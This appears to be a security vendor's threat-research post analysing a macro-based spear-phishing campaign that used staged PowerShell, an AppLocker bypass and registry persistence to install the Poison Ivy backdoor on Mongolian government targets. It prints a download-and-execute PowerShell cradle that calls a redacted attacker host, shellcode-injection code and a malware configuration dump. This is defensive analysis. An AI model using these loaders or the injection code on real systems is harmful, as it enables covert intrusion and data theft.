

Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government

 [fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html](https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html)

Introduction

FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government. Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with [Poison Ivy](#), a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and video capture, file transfers, password theft, system administration, traffic relaying, and more. The threat actors behind this attack demonstrated some interesting techniques, including:

1. **Customized evasion based on victim profile** – The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems.
2. **Fileless execution and persistence** – In targeted campaigns, threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination. The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files.
3. **Decoy documents** – This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity.

Attack Cycle

The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload.

The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process. The malicious payload was spread across multiple PowerShell scripts, making its execution difficult to trace. Rather than being written to disk as individual script files, the PowerShell payloads were stored in the registry.

Figure 1 shows the stages of the payload execution from the malicious macro.




Figure 1: Stages of payload execution used in this attack

Social Engineering and Macro-PowerShell Level 1 Usage

Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal.


When a targeted user opens the malicious document, they are presented with the messages shown in Figure 2, asking them to enable macros.



CAN'T VIEW THE DOCUMENT?


Please Enable Content

OFFICE 2010 - 2016



- Click on Enable Content Button

OFFICE 2007



- Click on Options Button
- Enable This Content

Figure 2: Lure suggesting the user to enable Macros to see content

Bypassing Application Whitelisting Script Protections (AppLocker)

Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system. In April 2016, a security researcher [demonstrated a way to bypass](#) this using regsvr32.exe, a legitimate Microsoft executable permitted to execute in many AppLocker policies. The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument. This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file.

We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to it which was hosting a malicious SCT file, as seen in Figure 3.

МОНГОЛ УЛСЫН ХУУЛЬ

2016 оны .. дугаар
сарын ...-ны өдөр

Улаанбаатар
хот

**НИЙТИЙН АЛБАНД НИЙТИЙН БОЛОН ХУВИЙН АШИГ СОНИРХЛЫГ
ЗОХИЦУУЛАХ, АШИГ СОНИРХЛЫН ЗӨРЧЛӨӨС УРЬДЧИЛАН СЭРГИЙЛЭХ
ТУХАЙ ХУУЛЬД НЭМЭЛТ, ӨӨРЧЛӨЛТ ОРУУЛАХ ТУХАЙ**

1 дүгээр зүйл.Нийтийн албанд нийтийн болон хувийн ашиг сонирхлыг зохицуулах, ашиг сонирхлын зөрчлөөс урьдчилан сэргийлэх тухай хуульд доор дурдсан агуулгатай зүйл нэмсүгэй:

1/10¹ дүгээр зүйл:

“10¹дүгээр зүйл.Гадаад улсын нутаг дэвсгэрт банкны данс эзэмших, хуулийн этгээд байгуулахтай холбогдсон хориглолт

10¹.1.Авлигын эсрэг хуульд заасны дагуу хөрөнгө, орлогын мэдүүлэг гаргадаг албан тушаалтан нь албан үүргээ гүйцэтгэх үедээ гадаад улсын нутаг

Figure 6: Decoy downloaded and launched on the victim's screen

2. After launching the decoy document in the second winword.exe process, the PowerShell script downloads and runs another PowerShell script named f0921.ps1 as shown in Figure 7.

```
$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
$n.DownloadFile("http://www.████████████████████.poy6/huuliin-tusul-offsh-20160918.docx", "$env:temp\huuliin-tusul-offsh-20160918.docx");
Start-Process "$env:temp\huuliin-tusul-offsh-20160918.docx"

IEX $n.downloadstring('http://w████████████████████.poy6/f0921.ps1');
```

Figure 7: PowerShell to download and run decoy decoy document and third-stage payload

Third Stage PowerShell Persistence

The third stage PowerShell script configures an encoded PowerShell command persistently as base64 string in the HKCU: \Console\FontSecurity registry key. Figure 8 shows a portion of the PowerShell commands for writing this value to the registry.

Figure 11: PowerShell registry persistence

Fourth Stage PowerShell Inject-LocalShellCode

The HKCU\Console\FontSecurity registry contains the fourth stage PowerShell script, shown decoded in Figure 12. This script borrows from the publicly available Inject-LocalShellCode PowerShell script from [PowerSploit](#) to inject shellcode.

```
# Inject shellcode into the currently running PowerShell process
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

Inject-LocalShellcode
```

Figure 12: Code to inject shellcode

Shellcode Analysis

The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4), as seen in Figure 13.




Figure 13: Decryption loop and call to decrypted shellcode

After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe as shown in Figure 14.


```
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4013a2 LoadLibraryA(ntdll.dll)
4013ba CreateMutexA(0, 0, 20160509) = 29
4013be RtlGetLastWin32Error() = 0
4013ca CloseHandle(29)
401154 CreateProcessA( userinit.exe, ) = 0x1269
40116b VirtualAllocEx(pid=1269, base=0 , sz=2183) = 600000
401185 WriteProcessMemory(pid=1269, base=600000 , buf=40100d, sz=2183, written=12fdb0)
Allocation cc < 1024 adjusting...
401197 GlobalAlloc(sz=400) = 603000
4011ab GetThreadContext(h=126a)
4011b9 SetThreadContext(h=126a, eip=600000)
4011c0 ResumeThread(h=126a)
Transferring Execution to threadstart 600000
60004e CreateThread(600244, 0) = 1
Transferring execution to threadstart...
600292 ExpandEnvironmentStringsA(%userprofile%\Plug1.dat, dst=40403f15, sz=104)
600c57 CreateFileA(C:\Users\dan\Plug1.dat) = 4
600c63 GetFileSize(4, 0) = ffffffff
Allocation ffffffff > MAX_ALLOC adjusting...
600c6f GlobalAlloc(sz=1000000) = 604000
600c87 ReadFile(hFile=4, buf=604000, numBytes=fffffff) = 0
6002ca Sleep(0x2710)
600c57 CreateFileA(C:\Users\dan\Plug2.dat) = 8
600c63 GetFileSize(8, 0) = 0
600cd2 CloseHandle(8)
6002ca Sleep(0x2710)
600c57 CreateFileA(C:\Users\dan\Plug3.dat) = c
600c63 GetFileSize(c, 0) = ffffffff
Allocation ffffffff > MAX_ALLOC adjusting...
```

Figure 14: Code injection in userinit.exe and attempt to access Poison Ivy related DAT files

In the decrypted shellcode, we also observed content and configuration related to Poison Ivy. Correlating these bytes to the standard configuration of Poison Ivy, we can observe the following:

- Active setup – StubPath
- Encryption/Decryption key - version2013
- Mutex name - 20160509

The Poison Ivy configuration dump is shown in Figure 15.

```

00002020 FD FF FF 61 C9 C3 0F 04 08 00 53 74 75 62 50 61 2..a++....StubPa
00002030 74 68 18 04 28 00 53 4F 46 54 57 41 52 45 5C 43 th..(.SOFTWARE\C
00002040 6C 61 73 73 65 73 5C 68 74 74 70 5C 73 68 65 6C lasses\http\shel
00002050 6C 5C 6F 70 65 6E 5C 63 6F 6D 6D 61 6E 64 56 04 l\open\commandU.
00002060 35 00 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 5.Software\Micro
00002070 73 6F 66 74 5C 41 63 74 69 76 65 20 53 65 74 75 soft\Active·Setu
00002080 70 5C 49 6E 73 74 61 6C 6C 65 64 20 43 6F 6D 70 p\Installed·Comp
00002090 6F 6E 65 6E 74 73 5C FA 0A 20 00 78 78 78 78 78 onents\·.·.xxxxx
000020A0 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 xxxxxxxxxxxxxxxx
000020B0 78 78 78 78 78 78 78 78 78 78 78 90 01 A2 00 32 xxxxxxxxxxxxxx..ó.2
000020C0 31 32 37 2E 30 2E 30 2E 31 31 32 37 2E 30 2E 30 127.0.0.1127.0.0
000020D0 2E 31 31 32 37 2E 30 2E 30 2E 31 31 32 37 2E 30 .1127.0.0.1127.0
000020E0 2E 30 2E 31 31 32 37 2E 30 2E 30 2E 31 30 30 30 .0.1127.0.0.1000
000020F0 30 30 00 50 00 32 31 32 37 2E 30 2E 30 2E 32 31 00.P.2127.0.0.21
00002100 32 37 2E 30 2E 30 2E 32 31 32 37 2E 30 2E 30 2E 27.0.0.2127.0.0.
00002110 32 31 32 37 2E 30 2E 30 2E 32 31 32 37 2E 30 2E 2127.0.0.2127.0.
00002120 30 2E 32 30 30 30 30 30 00 50 00 32 31 32 37 2E 0.200000.P.2127.
00002130 30 2E 30 2E 33 31 32 37 2E 30 2E 30 2E 33 31 32 0.0.3127.0.0.312
00002140 37 2E 30 2E 30 2E 33 31 32 37 2E 30 2E 30 2E 33 7.0.0.3127.0.0.3
00002150 31 32 37 2E 30 2E 30 2E 33 30 30 30 30 30 00 50 127.0.0.300000.P
00002160 00 8C 01 04 00 02 00 00 00 C1 02 04 00 FF FF FF .î.....-.....
00002170 FF 45 01 0B 00 76 65 72 73 69 6F 6E 32 30 31 33 -E...version2013
00002180 FB 03 08 00 32 30 31 36 30 35 30 39 00 00 00 00 v...20160509....

```

Figure 15: Poison Ivy configuration dump

Conclusion

Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns. Through the use of PowerShell and publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host.

FireEye HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here. It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload. HX also contains generic detections for the registry persistence, AppLocker bypasses and subsequent stages of PowerShell abuse used in this attack.